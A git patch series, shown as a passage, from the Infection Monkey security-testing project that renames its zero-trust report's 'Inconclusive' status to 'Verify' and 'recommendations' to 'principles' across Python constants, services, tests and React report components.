u"gc-guest-agent", + u"gc-guardig", + u"gc-digger", + u"gc-fastpath", + u"gc-enforcement-agent", + u"gc-enforcement-channel", + u"gc-detection-agent", + # Windows + u"gc-guest-agent.exe", + u"gc-windig.exe", + u"gc-digger.exe", + u"gc-fastpath.exe", + u"gc-enforcement-channel.exe", + u"gc-enforcement-agent.exe", + u"gc-agent-ui.exe" ] From cfd0c10d59a7885a71ee4a6e2d17372135f83d34 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 10 Sep 2019 23:44:03 +0300 Subject: [PATCH 56/78] Refactoring inconclusive to verify and recommendation to principle Product writer's orders --- monkey/common/data/zero_trust_consts.py | 94 +++++++++---------- .../cc/models/zero_trust/finding.py | 4 +- .../zero_trust/test_aggregate_finding.py | 4 +- .../cc/resources/reporting/report.py | 6 +- .../reporting/test_zero_trust_service.py | 64 ++++++------- .../services/reporting/zero_trust_service.py | 32 +++---- .../zero_trust_tests/data_endpoints.py | 2 +- .../zero_trust_tests/machine_exploited.py | 2 +- .../telemetry/zero_trust_tests/tunneling.py | 4 +- .../components/pages/ZeroTrustReportPage.js | 12 +-- .../zerotrust/FindingsSection.js | 2 +- .../zerotrust/PrinciplesSection.js | 29 ++++++ ...tatusTable.js => PrinciplesStatusTable.js} | 12 +-- .../zerotrust/RecommendationsSection.js | 29 ------ .../zerotrust/ReportLegend.js | 5 +- ...tus.js => SinglePillarPrinciplesStatus.js} | 12 +-- .../zerotrust/StatusLabel.js | 4 +- .../zerotrust/StatusesToPillarsSummary.js | 2 +- .../zerotrust/SummarySection.js | 17 +--- .../zerotrust/ZeroTrustPillars.js | 2 +- .../zerotrust/venn-components/VennDiagram.js | 11 +-- 21 files changed, 167 insertions(+), 182 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{RecommendationsStatusTable.js => PrinciplesStatusTable.js} (79%) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{SinglePillarRecommendationsStatus.js => SinglePillarPrinciplesStatus.js} (67%) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 780aaafa4..3362756d9 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -2,7 +2,7 @@ This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and in creating findings. -This file contains static mappings between zero trust components such as: pillars, recommendations, tests, statuses. +This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses. Some of the mappings are computed when this module is loaded. """ @@ -17,10 +17,10 @@ PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUT STATUS_UNEXECUTED = u"Unexecuted" STATUS_PASSED = u"Passed" -STATUS_INCONCLUSIVE = u"Inconclusive" +STATUS_VERIFY = u"Verify" STATUS_FAILED = u"Failed" # Don't change order! The statuses are ordered by importance/severity. -ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_INCONCLUSIVE, STATUS_PASSED, STATUS_UNEXECUTED] +ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED] TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic" TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http" @@ -43,27 +43,27 @@ TESTS = ( TEST_COMMUNICATE_AS_NEW_USER ) -RECOMMENDATION_DATA_TRANSIT = u"data_transit" -RECOMMENDATION_ENDPOINT_SECURITY = u"endpoint_security" -RECOMMENDATION_USER_BEHAVIOUR = u"user_behaviour" -RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" -RECOMMENDATION_SEGMENTATION = u"segmentation" -RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" -RECOMMENDATION_USERS_MAC_POLICIES = u"users_mac_policies" -RECOMMENDATIONS = { - RECOMMENDATION_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", - RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", - RECOMMENDATION_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", - RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", - RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.", - RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", - RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory " +PRINCIPLE_DATA_TRANSIT = u"data_transit" +PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security" +PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour" +PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" +PRINCIPLE_SEGMENTATION = u"segmentation" +PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" +PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies" +PRINCIPLES = { + PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", + PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", + PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", + PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", + PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.", + PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", + PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory " u"Access Control) only.", } POSSIBLE_STATUSES_KEY = u"possible_statuses" PILLARS_KEY = u"pillars" -RECOMMENDATION_KEY = u"recommendation_key" +PRINCIPLE_KEY = u"principle_key" FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation" TEST_EXPLANATION_KEY = u"explanation" TESTS_MAP = { @@ -73,18 +73,18 @@ TESTS_MAP = { STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." }, - RECOMMENDATION_KEY: RECOMMENDATION_SEGMENTATION, + PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION, PILLARS_KEY: [NETWORKS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] }, TEST_MALICIOUS_ACTIVITY_TIMELINE: { TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_INCONCLUSIVE: "Monkey performed malicious actions in the network. Check SOC logs and alerts." + STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." }, - RECOMMENDATION_KEY: RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC, + PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] }, TEST_ENDPOINT_SECURITY_EXISTS: { TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.", @@ -92,7 +92,7 @@ TESTS_MAP = { STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." }, - RECOMMENDATION_KEY: RECOMMENDATION_ENDPOINT_SECURITY, + PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, @@ -102,19 +102,19 @@ TESTS_MAP = { STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." }, - RECOMMENDATION_KEY: RECOMMENDATION_ENDPOINT_SECURITY, + PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_INCONCLUSIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY] }, TEST_SCHEDULED_EXECUTION: { TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_INCONCLUSIVE: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.", + STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.", STATUS_PASSED: "Monkey failed to execute in a scheduled manner." }, - RECOMMENDATION_KEY: RECOMMENDATION_USER_BEHAVIOUR, + PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, PILLARS_KEY: [PEOPLE, NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] }, TEST_DATA_ENDPOINT_ELASTIC: { TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.", @@ -122,7 +122,7 @@ TESTS_MAP = { STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." }, - RECOMMENDATION_KEY: RECOMMENDATION_DATA_TRANSIT, + PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, @@ -132,7 +132,7 @@ TESTS_MAP = { STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." }, - RECOMMENDATION_KEY: RECOMMENDATION_DATA_TRANSIT, + PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, @@ -141,7 +141,7 @@ TESTS_MAP = { FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey was tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." }, - RECOMMENDATION_KEY: RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES, + PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] }, @@ -151,7 +151,7 @@ TESTS_MAP = { STATUS_FAILED: "Monkey was able to cause a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." }, - RECOMMENDATION_KEY: RECOMMENDATION_USERS_MAC_POLICIES, + PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, @@ -171,15 +171,15 @@ PILLARS_TO_TESTS = { AUTOMATION_ORCHESTRATION: [] } -RECOMMENDATIONS_TO_TESTS = {} +PRINCIPLES_TO_TESTS = {} -RECOMMENDATIONS_TO_PILLARS = {} +PRINCIPLES_TO_PILLARS = {} def populate_mappings(): populate_pillars_to_tests() - populate_recommendations_to_tests() - populate_recommendations_to_pillars() + populate_principles_to_tests() + populate_principles_to_pillars() def populate_pillars_to_tests(): @@ -189,17 +189,17 @@ def populate_pillars_to_tests(): PILLARS_TO_TESTS[pillar].append(test) -def populate_recommendations_to_tests(): - for single_recommendation in RECOMMENDATIONS: - RECOMMENDATIONS_TO_TESTS[single_recommendation] = [] +def populate_principles_to_tests(): + for single_principle in PRINCIPLES: + PRINCIPLES_TO_TESTS[single_principle] = [] for test, test_info in TESTS_MAP.items(): - RECOMMENDATIONS_TO_TESTS[test_info[RECOMMENDATION_KEY]].append(test) + PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test) -def populate_recommendations_to_pillars(): - for recommendation, recommendation_tests in RECOMMENDATIONS_TO_TESTS.items(): - recommendations_pillars = set() - for test in recommendation_tests: +def populate_principles_to_pillars(): + for principle, principle_tests in PRINCIPLES_TO_TESTS.items(): + principles_pillars = set() + for test in principle_tests: for pillar in TESTS_MAP[test][PILLARS_KEY]: - recommendations_pillars.add(pillar) - RECOMMENDATIONS_TO_PILLARS[recommendation] = recommendations_pillars + principles_pillars.add(pillar) + PRINCIPLES_TO_PILLARS[principle] = principles_pillars diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 441d22e3a..df4eb12f7 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -14,12 +14,12 @@ from monkey_island.cc.models.zero_trust.event import Event class Finding(Document): """ This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a - specific recommendation of zero trust is upheld or broken. + specific principle of zero trust is upheld or broken. Findings might have the following statuses: Failed ❌ Meaning that we are sure that something is wrong (example: segmentation issue). - Inconclusive ⁉ + Verify ⁉ Meaning that we need the user to check something himself (example: 2FA logs, AV missing). Passed ✔ Meaning that we are sure that something is correct (example: Monkey failed exploiting). diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py index b32e8ad53..4a67a21b7 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -11,7 +11,7 @@ class TestAggregateFinding(IslandTestCase): self.clean_finding_db() test = TEST_MALICIOUS_ACTIVITY_TIMELINE - status = STATUS_INCONCLUSIVE + status = STATUS_VERIFY events = [Event.create_event("t", "t", EVENT_TYPE_ISLAND)] self.assertEquals(len(Finding.objects(test=test, status=status)), 0) @@ -30,7 +30,7 @@ class TestAggregateFinding(IslandTestCase): self.clean_finding_db() test = TEST_MALICIOUS_ACTIVITY_TIMELINE - status = STATUS_INCONCLUSIVE + status = STATUS_VERIFY event = Event.create_event("t", "t", EVENT_TYPE_ISLAND) events = [event] self.assertEquals(len(Finding.objects(test=test, status=status)), 0) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index db2f40518..8c5286fee 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -14,7 +14,7 @@ REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" -REPORT_DATA_RECOMMENDATIONS_STATUS = "recommendations" +REPORT_DATA_PRINCIPLES_STATUS = "principles" __author__ = ["itay.mizeretz", "shay.nehmad"] @@ -33,8 +33,8 @@ class Report(flask_restful.Resource): "grades": ZeroTrustService.get_pillars_grades() } ) - elif report_data == REPORT_DATA_RECOMMENDATIONS_STATUS: - return jsonify(ZeroTrustService.get_recommendations_status()) + elif report_data == REPORT_DATA_PRINCIPLES_STATUS: + return jsonify(ZeroTrustService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: return jsonify(ZeroTrustService.get_all_findings()) diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index 2bd74c796..5d84a9cb0 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -11,12 +11,12 @@ def save_example_findings(): Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 2 Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, []) # devices failed = 1 # devices unexecuted = 1 - # people inconclusive = 1 - # networks inconclusive = 1 - Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_INCONCLUSIVE, []) - # people inconclusive = 2 - # networks inconclusive = 2 - Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_INCONCLUSIVE, []) + # people verify = 1 + # networks verify = 1 + Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) + # people verify = 2 + # networks verify = 2 + Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) # data failed 1 Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) # data failed 2 @@ -27,10 +27,10 @@ def save_example_findings(): Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) # data failed 5 Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) - # data inconclusive 1 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_INCONCLUSIVE, []) - # data inconclusive 2 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_INCONCLUSIVE, []) + # data verify 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) + # data verify 2 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) # data passed 1 Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, []) @@ -45,49 +45,49 @@ class TestZeroTrustService(IslandTestCase): expected = [ { STATUS_FAILED: 5, - STATUS_INCONCLUSIVE: 2, + STATUS_VERIFY: 2, STATUS_PASSED: 1, STATUS_UNEXECUTED: 1, "pillar": "Data" }, { STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 2, + STATUS_VERIFY: 2, STATUS_PASSED: 0, STATUS_UNEXECUTED: 0, "pillar": "People" }, { STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 2, + STATUS_VERIFY: 2, STATUS_PASSED: 0, STATUS_UNEXECUTED: 2, "pillar": "Networks" }, { STATUS_FAILED: 1, - STATUS_INCONCLUSIVE: 0, + STATUS_VERIFY: 0, STATUS_PASSED: 2, STATUS_UNEXECUTED: 1, "pillar": "Devices" }, { STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 0, + STATUS_VERIFY: 0, STATUS_PASSED: 0, STATUS_UNEXECUTED: 0, "pillar": "Workloads" }, { STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 0, + STATUS_VERIFY: 0, STATUS_PASSED: 0, STATUS_UNEXECUTED: 1, "pillar": "Visibility & Analytics" }, { STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 0, + STATUS_VERIFY: 0, STATUS_PASSED: 0, STATUS_UNEXECUTED: 0, "pillar": "Automation & Orchestration" @@ -98,7 +98,7 @@ class TestZeroTrustService(IslandTestCase): self.assertEquals(result, expected) - def test_get_recommendations_status(self): + def test_get_principles_status(self): self.fail_if_not_testing_env() self.clean_finding_db() @@ -108,7 +108,7 @@ class TestZeroTrustService(IslandTestCase): AUTOMATION_ORCHESTRATION: [], DATA: [ { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_DATA_TRANSIT], + "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT], "status": STATUS_FAILED, "tests": [ { @@ -124,7 +124,7 @@ class TestZeroTrustService(IslandTestCase): ], DEVICES: [ { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_ENDPOINT_SECURITY], + "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY], "status": STATUS_FAILED, "tests": [ { @@ -140,7 +140,7 @@ class TestZeroTrustService(IslandTestCase): ], NETWORKS: [ { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_SEGMENTATION], + "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION], "status": STATUS_UNEXECUTED, "tests": [ { @@ -150,17 +150,17 @@ class TestZeroTrustService(IslandTestCase): ] }, { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_USER_BEHAVIOUR], - "status": STATUS_INCONCLUSIVE, + "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], + "status": STATUS_VERIFY, "tests": [ { - "status": STATUS_INCONCLUSIVE, + "status": STATUS_VERIFY, "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] } ] }, { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC], + "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, "tests": [ { @@ -172,11 +172,11 @@ class TestZeroTrustService(IslandTestCase): ], PEOPLE: [ { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_USER_BEHAVIOUR], - "status": STATUS_INCONCLUSIVE, + "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], + "status": STATUS_VERIFY, "tests": [ { - "status": STATUS_INCONCLUSIVE, + "status": STATUS_VERIFY, "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] } ] @@ -184,7 +184,7 @@ class TestZeroTrustService(IslandTestCase): ], "Visibility & Analytics": [ { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC], + "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, "tests": [ { @@ -197,7 +197,7 @@ class TestZeroTrustService(IslandTestCase): "Workloads": [] } - self.assertEquals(ZeroTrustService.get_recommendations_status(), expected) + self.assertEquals(ZeroTrustService.get_principles_status(), expected) def test_get_pillars_to_statuses(self): self.fail_if_not_testing_env() @@ -222,8 +222,8 @@ class TestZeroTrustService(IslandTestCase): expected = { AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, DEVICES: STATUS_FAILED, - NETWORKS: STATUS_INCONCLUSIVE, - PEOPLE: STATUS_INCONCLUSIVE, + NETWORKS: STATUS_VERIFY, + PEOPLE: STATUS_VERIFY, VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, WORKLOADS: STATUS_UNEXECUTED, DATA: STATUS_FAILED diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index d8f6c87e9..f4b23f095 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -17,7 +17,7 @@ class ZeroTrustService(object): pillar_grade = { "pillar": pillar, STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 0, + STATUS_VERIFY: 0, STATUS_PASSED: 0, STATUS_UNEXECUTED: 0 } @@ -39,30 +39,30 @@ class ZeroTrustService(object): return pillar_grade @staticmethod - def get_recommendations_status(): - all_recommendations_statuses = {} + def get_principles_status(): + all_principles_statuses = {} # init with empty lists for pillar in PILLARS: - all_recommendations_statuses[pillar] = [] + all_principles_statuses[pillar] = [] - for recommendation, recommendation_tests in RECOMMENDATIONS_TO_TESTS.items(): - for pillar in RECOMMENDATIONS_TO_PILLARS[recommendation]: - all_recommendations_statuses[pillar].append( + for principle, principle_tests in PRINCIPLES_TO_TESTS.items(): + for pillar in PRINCIPLES_TO_PILLARS[principle]: + all_principles_statuses[pillar].append( { - "recommendation": RECOMMENDATIONS[recommendation], - "tests": ZeroTrustService.__get_tests_status(recommendation_tests), - "status": ZeroTrustService.__get_recommendation_status(recommendation_tests) + "principle": PRINCIPLES[principle], + "tests": ZeroTrustService.__get_tests_status(principle_tests), + "status": ZeroTrustService.__get_principle_status(principle_tests) } ) - return all_recommendations_statuses + return all_principles_statuses @staticmethod - def __get_recommendation_status(recommendation_tests): + def __get_principle_status(principle_tests): worst_status = STATUS_UNEXECUTED all_statuses = set() - for test in recommendation_tests: + for test in principle_tests: all_statuses |= set(Finding.objects(test=test).distinct("status")) for status in all_statuses: @@ -72,9 +72,9 @@ class ZeroTrustService(object): return worst_status @staticmethod - def __get_tests_status(recommendation_tests): + def __get_tests_status(principle_tests): results = [] - for test in recommendation_tests: + for test in principle_tests: test_findings = Finding.objects(test=test) results.append( { @@ -124,7 +124,7 @@ class ZeroTrustService(object): def get_statuses_to_pillars(): results = { STATUS_FAILED: [], - STATUS_INCONCLUSIVE: [], + STATUS_VERIFY: [], STATUS_PASSED: [], STATUS_UNEXECUTED: [] } diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index b84dd94c9..7b45b1dee 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -69,6 +69,6 @@ def test_open_data_endpoints(telemetry_json): AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_INCONCLUSIVE, + status=STATUS_VERIFY, events=events ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 88661d1aa..8198b5a3e 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -38,6 +38,6 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_INCONCLUSIVE, + status=STATUS_VERIFY, events=events ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py index 2c9be5e1f..ba55fc575 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_INCONCLUSIVE, \ +from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_VERIFY, \ TEST_MALICIOUS_ACTIVITY_TIMELINE from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding @@ -26,6 +26,6 @@ def test_tunneling_violation(tunnel_telemetry_json): AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_INCONCLUSIVE, + status=STATUS_VERIFY, events=tunneling_events ) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index c0d1f1bed..a0b92d9bd 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -8,7 +8,7 @@ import PrintReportButton from "../report-components/common/PrintReportButton"; import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; import SummarySection from "../report-components/zerotrust/SummarySection"; import FindingsSection from "../report-components/zerotrust/FindingsSection"; -import RecommendationsSection from "../report-components/zerotrust/RecommendationsSection"; +import PrinciplesSection from "../report-components/zerotrust/PrinciplesSection"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -72,8 +72,8 @@ class ZeroTrustReportPageComponent extends AuthComponent { } else { content =
- +
; } @@ -102,7 +102,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { stillLoadingDataFromServer() { return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" - || typeof this.state.recommendations === "undefined"; + || typeof this.state.principles === "undefined"; } getZeroTrustReportFromServer() { @@ -114,11 +114,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { findings: res }); }); - this.authFetch('/api/report/zero_trust/recommendations') + this.authFetch('/api/report/zero_trust/principles') .then(res => res.json()) .then(res => { this.setState({ - recommendations: res + principles: res }); }); this.authFetch('/api/report/zero_trust/pillars') diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index d86f5cb06..95b9d0389 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -35,7 +35,7 @@ class FindingsSection extends Component {

